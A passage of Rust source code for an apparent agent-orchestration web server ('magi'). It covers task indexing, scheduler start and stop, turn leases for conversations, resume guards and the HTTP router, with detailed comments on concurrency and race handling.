923                return Ok(Vec::new());
924            }
925            Err(e) => return Err(anyhow::Error::from(e).into()),
926        };
927        let mut seen = HashSet::new();
928        for entry in entries {
929            let path = entry.map_err(anyhow::Error::from)?.path();
930            if path.extension().is_none_or(|ext| ext != "json") {
931                continue;
932            }
933            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
934                continue;
935            };
936            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
937            seen.insert(id.to_owned());
938            // On platforms without inode/ctime, re-read rather than trust a
939            // same-size replacement with a preserved modification timestamp.
940            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
941                let Ok(task) = self.queue.get(id) else {
942                    // Isolate an unreadable record, as Queue::list does. Keep
943                    // its last known relationship so a lookup of THAT task
944                    // still fails on the authoritative read below. Never let
945                    // unrelated corruption disable every run and conversation.
946                    // Counts must not present its previous status as current.
947                    if let Some((_, record)) = index.records.get_mut(id) {
948                        Arc::make_mut(record).status = None;
949                    }
950                    continue;
951                };
952                #[cfg(test)]
953                {
954                    index.reparsed += 1;
955                }
956                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
957                    return Err(ApiError::conflict("Queue changed during read; retry"));
958                }
959                index
960                    .records
961                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
962            }
963        }
964        index.records.retain(|id, _| seen.contains(id));
965        let mut tasks: Vec<_> = index
966            .records
967            .values()
968            .map(|(_, task)| task.clone())
969            .collect();
970        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
971        Ok(tasks)
972    }
973
974    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
975        let Some(record) = self
976            .indexed_tasks()?
977            .into_iter()
978            .find(|task| task.runs.iter().any(|id| id == run_id))
979        else {
980            return Ok(None);
981        };
982        let task = self.queue.get(&record.id)?;
983        if !task.runs.iter().any(|id| id == run_id) {
984            return Err(ApiError::conflict("Task relationship changed; retry"));
985        }
986        Ok(Some(task))
987    }
988
989    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
990        self.indexed_tasks()?
991            .into_iter()
992            .filter(|task| {
993                task.chat.as_deref() == Some(talk_id)
994                    || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
995            })
996            .map(|record| {
997                let task = self.queue.get(&record.id)?;
998                if task.chat.as_deref() != Some(talk_id)
999                    && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1000                {
1001                    return Err(ApiError::conflict("Task relationship changed; retry"));
1002                }
1003                Ok(task)
1004            })
1005            .collect()
1006    }
1007
1008    /// The operator's own state: `<home>/queue`, `<home>/questions`,
1009    /// `<home>/talks`, `<home>/runs`.
1010    pub fn open(repo: PathBuf) -> Self {
1011        Self::new(
1012            Queue::open(),
1013            Questions::open(),
1014            Talks::open(),
1015            run::runs_root(),
1016            run::home(),
1017            repo,
1018        )
1019    }
1020
1021    /// The merge mode the loop should use, as the command line gave it.
1022    ///
1023    /// A builder step rather than a seventh parameter on [`Ui::new`], because
1024    /// the override is a property of how this process was invoked and not of
1025    /// where its state lives - which is all the tests that build a `Ui` by
1026    /// hand are saying.
1027    #[must_use]
1028    pub fn with_merge(mut self, merge: Option<String>) -> Self {
1029        self.merge = merge;
1030        self
1031    }
1032
1033    /// The machine-config file the settings screen writes, when it is not
1034    /// [`Config::machine_layer`] (tests).
1035    #[cfg(test)]
1036    #[must_use]
1037    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
1038        self.machine_config = path;
1039        self
1040    }
1041
1042    /// Where the runs' worktrees live, when it is not the default.
1043    ///
1044    /// The health view sizes this directory, so a test that leaves it at the
1045    /// default would be measuring the operator's own machine.
1046    #[must_use]
1047    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
1048        self.worktrees_root = root;
1049        self
1050    }
1051
1052    /// Point the loop at something other than [`launch_daemon`].
1053    ///
1054    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
1055    /// this crate may start the real loop.
1056    #[cfg(test)]
1057    #[must_use]
1058    fn with_launch(mut self, launch: Launch) -> Self {
1059        self.launch = launch;
1060        self
1061    }
1062
1063    /// Install a [`BusyQueueGate`] for the next pass through the busy
1064    /// branch's queued-draft write, replacing any earlier one.
1065    ///
1066    /// A setter on `&self` rather than a `with_*` builder consumed once,
1067    /// because a test that drives the busy branch more than once (as
1068    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
1069    /// to build confidence the interleaving is handled deterministically and
1070    /// not just on a lucky run) needs a fresh channel pair each time, on the
1071    /// one `Ui` it already built its temp directories around.
1072    #[cfg(test)]
1073    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
1074        *self
1075            .busy_queue_gate
1076            .lock()
1077            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
1078    }
1079
1080    /// Prevent a restart from ending an already accepted send between its
1081    /// durable transcript write and detached worker reservation.
1082    fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
1083        let guard = Arc::clone(&self.admissions)
1084            .try_read_owned()
1085            .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
1086        if *guard {
1087            return Err(ApiError::conflict(
1088                "web restart in progress; retry this message",
1089            ));
1090        }
1091        Ok(guard)
1092    }
1093
1094    /// Start a scheduler that outlives this web process.
1095    async fn start_detached_loop(&self) -> ApiResult<()> {
1096        if self
1097            .upgrade_spawned
1098            .load(std::sync::atomic::Ordering::SeqCst)
1099        {
1100            return Err(ApiError::conflict("an upgrade is in progress"));
1101        }
1102        let reading = daemon::read_status(&self.home);
1103        if let Some(other) = Foreign::of(reading.as_ref()) {
1104            return Err(ApiError::conflict(format!(
1105                "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
1106                other.who()
1107            )));
1108        }
1109        let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1110        let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1111        let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1112            || reading.is_some_and(|reading| {
1113                reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1114            });
1115        if control.is_some() && scheduler_running {
1116            return Err(ApiError::conflict(
1117                "the scheduler is still stopping; retry Start after it has stopped",
1118            ));
1119        }
1120        if !jobs.iter().any(|job| job.kind == "scheduler") {
1121            let available =
1122                crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1123            if available.is_none() {
1124                return Err(ApiError::conflict(
1125                    "the scheduler is still running or stopping; retry after its transition completes",
1126                ));
1127            }
1128            drop(available);
1129        }
1130        let opts = daemon::Opts {
1131            repo: self.repo.clone(),
1132            merge: self.merge.clone(),
1133            worktrees_root: Some(self.worktrees_root.clone()),
1134            ..daemon::Opts::default()
1135        };
1136        daemon::spawn_detached(&self.home, &opts)
1137            .await
1138            .map_err(ApiError::from)?;
1139        let mut state = self.lock_loop();
1140        state.last_error = None;
1141        state.rev += 1;
1142        Ok(())
1143    }
1144
1145    /// Start the loop in this process, or say who already has one.
1146    ///
1147    /// `foreign` is passed in rather than read here so that one request makes
1148    /// one judgement about who owns the loop: reading the status file again
1149    /// inside this function could refuse a start for a daemon the same
1150    /// response then reports as gone.
1151    #[cfg(test)]
1152    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1153        if let Some(other) = foreign {
1154            return Err(ApiError::conflict(format!(
1155                "{} is already running the loop, so this one will not start a \
1156                 second: two loops on one queue race for the same claims and \
1157                 burn the agent quota twice over. Stop it where it was \
1158                 started.",
1159                other.who()
1160            )));
1161        }
1162        let mut state = self.lock_loop();
1163        if self
1164            .upgrade_spawned
1165            .load(std::sync::atomic::Ordering::SeqCst)
1166        {
1167            return Err(ApiError::conflict("an upgrade is in progress"));
1168        }
1169        if state.live.as_ref().is_some_and(Live::alive) {
1170            return Err(ApiError::conflict(format!(
1171                "this magi web process (pid {}) is already running the loop",
1172                std::process::id()
1173            )));
1174        }
1175
1176        let stop = daemon::Stop::new();
1177        // The CLI's own defaults for everything the UI has no opinion about:
1178        // one poll interval and one retry budget, so a loop started from a
1179        // phone behaves exactly like the `magi serve` it replaces.
1180        let opts = daemon::Opts {
1181            repo: self.repo.clone(),
1182            merge: self.merge.clone(),
1183            // Whatever this `Ui` already reports worktree sizes and folds
1184            // against (see `with_worktrees_root`) is what the loop it starts
1185            // must reclaim orphaned worktrees under too - two different
1186            // opinions about where the worktree bay is would leave the
1187            // janitor pass reclaiming a directory nothing else on this
1188            // process is even looking at.
1189            worktrees_root: Some(self.worktrees_root.clone()),
1190            ..daemon::Opts::default()
1191        };
1192        let launch = self.launch;
1193        let looping = Arc::clone(&self.looping);
1194        let handle = tokio::spawn({
1195            let opts = opts.clone();
1196            let stop = stop.clone();
1197            async move {
1198                let failure = match launch(opts, stop).await {
1199                    Ok(()) => None,
1200                    Err(e) => Some(format!("{e:#}")),
1201                };
1202                match &failure {
1203                    Some(why) => tracing::error!("the loop stopped: {why}"),
1204                    None => tracing::info!("the loop stopped"),
1205                }
1206                // Recorded by the task itself rather than reaped by whichever
1207                // request happens next, so `loop_rev` moves the moment the
1208                // loop ends and a phone with the change stream open learns
1209                // that it did. Clearing `live` drops this task's own handle,
1210                // which only detaches it, and is the last thing it does.
1211                let mut state = lock_or_recover(&looping);
1212                state.live = None;
1213                state.last_error = failure;
1214                state.rev += 1;
1215            }
1216        });
1217        tracing::info!(
1218            "the loop is now running in this process: repo {}, merge {}",
1219            opts.repo.display(),
1220            opts.merge.as_deref().unwrap_or("as the config says")
1221        );
1222        state.live = Some(Live { stop, handle, opts });
1223        // A fresh start is not the place to keep showing why the last one
1224        // died; the operator has read it and pressed the button anyway.
1225        state.last_error = None;
1226        state.rev += 1;
1227        Ok(())
1228    }
1229
1230    /// Ask the loop to stop, without waiting for it to get there.
1231    ///
1232    /// Idempotent: a second tap on stop is not an error, because the first one
1233    /// leaves the loop running for as long as the run in flight takes and the
1234    /// operator has no way to tell a slow stop from a lost one.
1235    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1236        if let Some(other) = foreign {
1237            return Err(ApiError::conflict(format!(
1238                "the loop belongs to {}, and this process cannot stop it - \
1239                 stop it where it was started. A button that silently did \
1240                 nothing would be worse than this refusal.",
1241                other.who()
1242            )));
1243        }
1244        #[cfg(not(test))]
1245        {
1246            daemon::request_control(
1247                &self.home,
1248                if park {
1249                    crate::worker::Control::Park
1250                } else {
1251                    crate::worker::Control::Stop
1252                },
1253            )
1254            .map_err(ApiError::from)?;
1255            self.lock_loop().rev += 1;
1256            Ok(())
1257        }
1258        #[cfg(test)]
1259        {
1260            let mut state = self.lock_loop();
1261            let Some(live) = state.live.as_ref() else {
1262                return Ok(());
1263            };
1264            // A park upgrades a stop that has already been asked for: the
1265            // operator who tapped "stop" and then realised the run has an hour
1266            // left must not have to restart the loop to change their mind.
1267            if live.stop.stopped() && (!park || live.stop.parking()) {
1268                return Ok(());
1269            }
1270            if park {
1271                live.stop.park(crate::run::ParkCause::Operator);
1272                tracing::info!(
1273                    "the loop was asked to park; the run stops at its next node boundary"
1274                );
1275            } else {
1276                live.stop.stop();
1277                tracing::info!("the loop was asked to stop; a run in flight is finished first");
1278            }
1279            state.rev += 1;
1280            Ok(())
1281        }
1282    }
1283
1284    /// The loop as both `/api/loop` and `/api/health` report it.
1285    ///
1286    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1287    /// health answers with this view *and* the daemon object beside it: one
1288    /// read per response is what stops a single answer naming a foreign owner
1289    /// in one field and calling the loop free in the other.
1290    #[cfg(not(test))]
1291    fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1292        let jobs = crate::worker::active(&self.home).map_err(|error| {
1293            ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1294        })?;
1295        Ok(self.runtime_loop_view(reading, &jobs))
1296    }
1297
1298    #[cfg(test)]
1299    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1300        let state = self.lock_loop();
1301        // A loop that panicked never recorded its own end, so the handle -
1302        // not the presence of the record - is what "running" means.
1303        let live = state.live.as_ref().filter(|live| live.alive());
1304        LoopView {
1305            running: live.is_some(),
1306            stopping: live.is_some_and(|live| live.stop.finishing()),
1307            parking: live.is_some_and(|live| live.stop.parking()),
1308            owned: live.is_some(),
1309            repo: live
1310                .map_or(&self.repo, |live| &live.opts.repo)
1311                .display()
1312                .to_string(),
1313            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1314            last_error: state.last_error.clone(),
1315            daemon: DaemonView::of(reading),
1316        }
1317    }
1318
1319    /// Reuse one active-job snapshot for both ownership and public health.
1320    fn runtime_loop_view(
1321        &self,
1322        reading: Option<daemon::Reading>,
1323        jobs: &[crate::worker::Job],
1324    ) -> LoopView {
1325        let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1326        let reporting = reading
1327            .as_ref()
1328            .is_some_and(|r| r.running(Timestamp::now()));
1329        let managed = scheduler.is_some()
1330            || (reporting
1331                && reading
1332                    .as_ref()
1333                    .is_some_and(|r| r.worker_protocol == Some(1)));
1334        let control = crate::worker::control(&self.home, "scheduler")
1335            .ok()
1336            .flatten();
1337        // Foreground serve also persists its options, so ownership never
1338        // causes us to substitute the web process's repository for its own.
1339        let persisted = if managed && scheduler.is_none() {
1340            std::fs::read(self.home.join("scheduler-options.json"))
1341                .ok()
1342                .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1343        } else {
1344            None
1345        };
1346        let repo = scheduler
1347            .and_then(|job| job.payload.get("repo"))
1348            .and_then(serde_json::Value::as_str)
1349            .map(str::to_owned)
1350            .or_else(|| {
1351                persisted
1352                    .as_ref()
1353                    .map(|opts| opts.repo.display().to_string())
1354            })
1355            .unwrap_or_else(|| self.repo.display().to_string());
1356        let merge = match scheduler {
1357            Some(job) => job
1358                .payload
1359                .get("merge")
1360                .and_then(serde_json::Value::as_str)
1361                .map(str::to_owned),
1362            None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1363        };
1364        LoopView {
1365            running: managed || reporting,
1366            stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1367            parking: matches!(control, Some(crate::worker::Control::Park))
1368                && jobs.iter().any(|job| job.kind == "task"),
1369            owned: managed,
1370            repo,
1371            merge,
1372            last_error: self.lock_loop().last_error.clone(),
1373            daemon: DaemonView::of(reading),
1374        }
1375    }
1376
1377    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1378    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1379        lock_or_recover(&self.looping)
1380    }
1381
1382    /// In-flight admission, detached startup, or a cross-process turn lease.
1383    fn is_thinking(&self, id: &str) -> bool {
1384        self.talk_turns
1385            .lock()
1386            .is_ok_and(|turns| turns.live.contains(id))
1387            // Another process (the CLI) can hold the turn through the
1388            // on-disk lease.
1389            || self.talks.turn_held(id)
1390            || crate::consult::turn_worker_active(&self.talks, id)
1391    }
1392
1393    /// 表示専用の観測。ローカルの受付処理やワーカーストアの書き込みを待たない。
1394    /// 送信・アップグレードなどの判断には [`Ui::is_thinking`] を使う。
1395    fn is_thinking_observed(&self, id: &str) -> bool {
1396        self.talk_turns.try_lock().map_or_else(
1397            // Admission may itself be waiting on the worker store. Display a
1398            // conservative busy state rather than waiting behind that writer.
1399            |error| matches!(error, std::sync::TryLockError::WouldBlock),
1400            |turns| turns.live.contains(id),
1401        )
1402            // Another process (the CLI) can hold the turn through the
1403            // on-disk lease.
1404            || self.talks.turn_held(id)
1405            || crate::consult::turn_worker_observed(&self.talks, id)
1406    }
1407
1408    /// Claim the right to run one turn in a talk, or report that it is busy.
1409    ///
1410    /// A talk is strictly turn-based: the agent is resumed with the
1411    /// conversation it already has, so two turns running at once would resume
1412    /// the same session twice and append their answers in whatever order the
1413    /// two CLIs finished in. The operator would come back to a transcript
1414    /// with two half-turns interleaved, which is unreadable and, worse,
1415    /// unfixable - there is no undo for a persisted turn.
1416    ///
1417    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1418    /// starting a second CLI invocation for the same session.
1419    ///
1420    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1421    /// taken to test-and-insert and released before the agent is spawned. The
1422    /// returned guard removes the id on drop, which is what makes a panicking
1423    /// handler or a phone that walks out of range leave the talk usable - axum
1424    /// drops the handler future when the client disconnects, and without the
1425    /// guard that talk would be wedged until the server restarted.
1426    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1427        self.claim_talk_turn(id, false)
1428    }
1429
1430    /// Claim a turn after durably queueing a draft, or notify its current
1431    /// owner that a drainer must recheck before it releases the slot.
1432    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1433        self.claim_talk_turn(id, true)
1434    }
1435
1436    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1437        let mut live = self
1438            .talk_turns
1439            .lock()
1440            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1441        if crate::consult::turn_worker_active(&self.talks, id) {
1442            if queued {
1443                *live.queued.entry(id.to_owned()).or_default() += 1;
1444            }
1445            return Ok(None);
1446        }
1447        let inserted = live.live.insert(id.to_owned());
1448        // The on-disk lease is the cross-process half of the gate. Taken
1449        // second, and undone if lost, so `live` never claims a turn the lease
1450        // refused.
1451        let lease = if inserted {
1452            match self.talks.claim_turn(id) {
1453                Ok(Some(lease)) => Some(lease),
1454                Ok(None) => {
1455                    live.live.remove(id);
1456                    None
1457                }
1458                Err(e) => {
1459                    live.live.remove(id);
1460                    return Err(ApiError::from(e));
1461                }
1462            }
1463        } else {
1464            None
1465        };
1466        if lease.is_none() {
1467            if queued {
1468                // A queued write has landed before this busy check.
1469                // `drain_loop` uses this generation to recheck after its
1470                // off-thread disk read, so it cannot release a turn between
1471                // this check and the write.
1472                *live.queued.entry(id.to_owned()).or_default() += 1;
1473            }
1474            return Ok(None);
1475        }
1476        Ok(Some(TalkTurnGuard {
1477            talk: id.to_owned(),
1478            turns: Arc::clone(&self.talk_turns),
1479            released: false,
1480            lease,
1481        }))
1482    }
1483
1484    /// Decide whether a free talk may start a new immediate turn while its
1485    /// claim lock is held. A persisted draft without an owner is recovery
1486    /// state, not a busy turn: two simultaneous `/say` requests must both
1487    /// leave it untouched rather than one of them appending to it.
1488    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1489        let mut live = self
1490            .talk_turns
1491            .lock()
1492            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1493        // A detached worker owns its turn across web process replacement.
1494        if live.live.contains(id) || crate::consult::turn_worker_active(&self.talks, id) {
1495            return Ok(TalkTurnStart::Busy);
1496        }
1497        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1498            return Ok(TalkTurnStart::Foreign);
1499        };
1500        // A refused `Pending` below drops the lease again.
1501        let talk = self.talks.get(id).map_err(ApiError::from)?;
1502        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1503            return Ok(TalkTurnStart::Pending);
1504        }
1505        live.live.insert(id.to_owned());
1506        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1507            talk: id.to_owned(),
1508            turns: Arc::clone(&self.talk_turns),
1509            released: false,
1510            lease: Some(lease),
1511        }))
1512    }
1513
1514    fn queued_generation(&self, id: &str) -> u64 {
1515        let live = self
1516            .talk_turns
1517            .lock()
1518            .unwrap_or_else(PoisonError::into_inner);
1519        live.queued.get(id).copied().unwrap_or(0)
1520    }
1521
1522    /// Automatic updates begin only when execution and chat workers are idle.
1523    /// A worker racing this snapshot survives the restart on its own executable.
1524    fn auto_upgrade_busy(&self) -> bool {
1525        #[cfg(test)]
1526        if self
1527            .lock_loop()
1528            .live
1529            .as_ref()
1530            .is_some_and(|live| live.stop.busy_now())
1531        {
1532            return true;
1533        }
1534        crate::worker::active(&self.home)
1535            .map_or(true, |jobs| jobs.iter().any(|job| job.kind != "scheduler"))
1536            || !daemon::current_work(&self.home, Timestamp::now()).is_empty()
1537            || !self
1538                .resuming
1539                .lock()
1540                .unwrap_or_else(PoisonError::into_inner)
1541                .is_empty()
1542            || !self
1543                .talk_turns
1544                .lock()
1545                .unwrap_or_else(PoisonError::into_inner)
1546                .live
1547                .is_empty()
1548            || self
1549                .talks
1550                .list()
1551                .iter()
1552                .any(|talk| self.is_thinking(&talk.id))
1553    }
1554
1555    /// Claim a run for a resume, on the same reasoning as
1556    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1557    /// disconnected phone does not wedge the run until the server restarts.
1558    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1559        let mut live = self
1560            .resuming
1561            .lock()
1562            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1563        if self
1564            .upgrade_spawned
1565            .load(std::sync::atomic::Ordering::SeqCst)
1566        {
1567            return Err(ApiError::conflict("an upgrade is in progress"));
1568        }
1569        if !live.insert(id.to_owned()) {
1570            return Err(ApiError::conflict(format!(
1571                "run {id} is already being resumed"
1572            )));
1573        }
1574        Ok(ResumeGuard {
1575            run: id.to_owned(),
1576            resuming: Arc::clone(&self.resuming),
1577        })
1578    }
1579
1580    /// The router, with this state baked in.
1581    ///
1582    /// The three front-end files get one explicit route each rather than a
1583    /// path parameter, so there is no traversal surface to get wrong: the set
1584    /// of servable paths is the set written here. The asset route below is the
1585    /// one exception and the only place in this server where a client names a
1586    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1587    pub fn router(self) -> Router {
1588        Arc::new(self).shared_router()
1589    }
1590
1591    fn shared_router(self: Arc<Self>) -> Router {
1592        Router::new()
1593            .route("/", get(index))
1594            .route("/app.css", get(app_css))
1595            .route("/app.js", get(app_js))
1596            .route("/api/health", get(health))
1597            .route("/api/references", post(id_links::resolve_text))
1598            .route("/api/loop", get(loop_get).post(loop_post))
1599            .route("/api/upgrade", post(upgrade_post))
1600            .route("/api/runs", get(runs_list))
1601            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1602            .route("/api/runs/{id}/progress", get(run_progress))
1603            .route("/api/runs/{id}/core", get(run_core))
1604            .route("/api/runs/{id}/report", get(run_report))
1605            .route("/api/runs/{id}/report.json", get(run_report_json))
1606            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1607            .route("/api/runs/{id}/seat-evidence", get(run_seat_evidence))
1608            .route("/api/runs/{id}/seat-evidence/{head}", get(run_seat_diff))
1609            .route("/api/runs/{id}/fold", post(run_fold))
1610            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1611            .route("/api/runs/{id}/resume", post(run_resume))
1612            .route("/api/queue", get(queue_list))
1613            .route("/api/queue/page", get(queue_page))
1614            .route("/api/search", get(search_get))
1615            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1616            .route("/api/queue/{id}/core", get(task_core))
1617            .route("/api/stats", get(stats_get))
1618            .route("/api/stats/queue", get(stats_queue))
1619            .route("/api/repos", get(repos_list))
1620            .route("/api/settings", get(settings_get))
1621            .route("/api/settings/roles", put(settings_put_roles))
1622            .route("/api/queue/{id}/hold", post(queue_hold))
1623            .route("/api/queue/{id}/release", post(queue_release))
1624            .route("/api/queue/{id}/priority", post(queue_priority))
1625            .route("/api/queue/{id}/urgent", post(queue_urgent))
1626            .route("/api/queue/{id}/implementers", post(queue_implementers))
1627            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1628            .route("/api/queue/{id}/edit", post(queue_edit))
1629            .route("/api/queue/{id}/done", post(queue_done))
1630            .route("/api/questions", get(questions_list))
1631            .route("/api/questions/core", get(questions_core))
1632            .route("/api/questions/origins", get(question_origins))
1633            .route("/api/questions/{id}/answer", post(question_answer))
1634            .route("/api/questions/{id}/say", post(question_say))
1635            .route("/api/questions/{id}/consult", post(question_consult))
1636            .route("/api/questions/{id}/panel", get(question_panel))
1637            // The same asset, reachable from inside the panel by its bare
1638            // filename. A document served at `.../panel` resolves `shot.png`
1639            // to `.../shot.png`, which is not the asset route, so a panel
1640            // written the way its author was told to write it showed broken
1641            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1642            // it - deliberately - so the fix is that the panel's own URL ends
1643            // in a filename and its siblings are the assets.
1644            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1645            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1646            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1647            .route("/api/notifications", get(notifications_list))
1648            .route("/api/notifications/read-all", post(notifications_read_all))
1649            .route("/api/notifications/{id}/read", post(notification_read))
1650            .route(
1651                "/api/notifications/{id}/dismiss",
1652                post(notification_dismiss),
1653            )
1654            .route("/api/talks", get(talks_list).post(talk_post))
1655            .route("/api/talks/page", get(talks_page))
1656            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1657            .route("/api/talks/{id}/core", get(talk_core))
1658            .route("/api/talks/{id}/sections", get(talk_sections))
1659            .route("/api/talks/{id}/say", post(talk_say))
1660            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1661            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1662            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1663            .route("/api/talks/{id}/agent", post(talk_agent))
1664            .route("/api/talks/{id}/persona", post(talk_persona))
1665            .route("/api/talks/{id}/implementers", post(talk_implementers))
1666            .route("/api/talks/{id}/close", post(talk_close))
1667            .route("/api/talks/{id}/reopen", post(talk_reopen))
1668            // `DefaultBodyLimit` is raised only on this one route - every
1669            // other route on this server answers in a few kilobytes, and
1670            // widening the crate-wide default for all of them just because
1671            // one accepts a picture would let any other handler be handed
1672            // a multi-megabyte body it never expects.
1673            .route(
1674                "/api/talks/{id}/attachments",
1675                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1676            )
1677            .route(
1678                "/api/talks/{id}/attachments/{att}",
1679                get(talk_attachment_get),
1680            )
1681            .route("/api/talks/{id}/avatar", get(talk_avatar))
1682            .route("/avatars/operator.svg", get(operator_avatar))
1683            .route(
1684                "/api/avatar-settings",
1685                get(avatar_settings_get)
1686                    .put(avatar_settings_put)
1687                    .delete(avatar_settings_delete),
1688            )
1689            .route("/avatars/persona", get(settings_persona_avatar))
1690            .route("/avatars/magi", get(magi_avatar))
1691            .route(
1692                "/api/magi-icon",
1693                get(magi_icon_get)
1694                    .put(magi_icon_put)
1695                    .delete(magi_icon_delete),
1696            )
1697            .route("/api/events", get(events))
1698            .with_state(self)
1699    }
1700}
1701
1702/// One talk's turn slot, released on drop.
1703///
1704/// A guard rather than a matching `remove` at the end of the handler, because
1705/// the handler has several early returns and one `await` that can be cancelled
1706/// out from under it. A leaked id is a talk nobody can talk to again.
1707#[derive(Debug)]
1708struct TalkTurnGuard {
1709    talk: String,
1710    turns: Arc<Mutex<TalkTurns>>,
1711    released: bool,
1712    /// The cross-process half of the slot; dropped with the guard.
1713    lease: Option<crate::talk::TurnLease>,
1714}
1715
1716/// In-memory turn ownership plus the queue generation observed by a drainer.
1717///
1718/// The generation changes only after a durable queued draft is written and its
1719/// caller finds the turn busy. That lets the loop run filesystem work outside
1720/// this mutex while still making the final empty-check/release atomic with a
1721/// concurrent queue handoff.
1722#[derive(Debug, Default)]
1723struct TalkTurns {
1724    live: HashSet<String>,
1725    queued: HashMap<String, u64>,
1726}
1727
1728/// The atomic initial-state decision made by
1729/// [`Ui::begin_talk_turn_unless_pending`].
1730enum TalkTurnStart {
1731    Claimed(TalkTurnGuard),
1732    Busy,
1733    /// Another process holds the turn lease. Unlike `Busy` there is no local
1734    /// drain loop that would answer a queued draft, so the caller refuses.
1735    Foreign,
1736    Pending,
1737}
1738
1739impl TalkTurnGuard {
1740    #[cfg(test)]
1741    /// Does this guard still own the on-disk lease? A transient failure to
1742    /// check counts as owning: the next beat decides. A guard that lost it
1743    /// must not start another turn on the same session.
1744    fn owns(&self) -> bool {
1745        self.lease
1746            .as_ref()
1747            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1748    }
1749
1750    #[cfg(test)]
1751    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1752    /// than the lease's TTL still reads as held to other processes.
1753    async fn respond(
1754        &self,
1755        talk: &mut Talk,
1756        talks: &Talks,
1757        cfg: &Config,
1758        text: &str,
1759    ) -> anyhow::Result<()> {
1760        let lease = self
1761            .lease
1762            .as_ref()
1763            .context("the turn guard no longer holds its lease")?;
1764        talk::respond(lease, talk, talks, cfg, text).await
1765    }
1766
1767    /// Release while the caller already holds the claim mutex, closing the
1768    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1769    fn release(mut self, live: &mut TalkTurns) {
1770        // The on-disk lease goes first: while `live` still names the talk, no
1771        // local claim can start, so nobody observes the slot free but the
1772        // lease held.
1773        self.lease = None;
1774        live.live.remove(&self.talk);
1775        live.queued.remove(&self.talk);
1776        self.released = true;
1777    }
1778}
1779
1780impl Drop for TalkTurnGuard {
1781    fn drop(&mut self) {
1782        if self.released {
1783            return;
1784        }
1785        // Lease first, then the in-process slot (see `release`).
1786        drop(self.lease.take());
1787        if let Ok(mut live) = self.turns.lock() {
1788            live.live.remove(&self.talk);
1789            live.queued.remove(&self.talk);
1790        }
1791    }
1792}
1793
1794/// Releases a resume claim, so a run is resumable again after the attempt.
1795struct ResumeGuard {
1796    run: String,
1797    resuming: Arc<Mutex<HashSet<String>>>,
1798}
1799
1800impl Drop for ResumeGuard {
1801    fn drop(&mut self) {
1802        if let Ok(mut live) = self.resuming.lock() {
1803            live.remove(&self.run);
1804        }
1805    }
1806}
1807
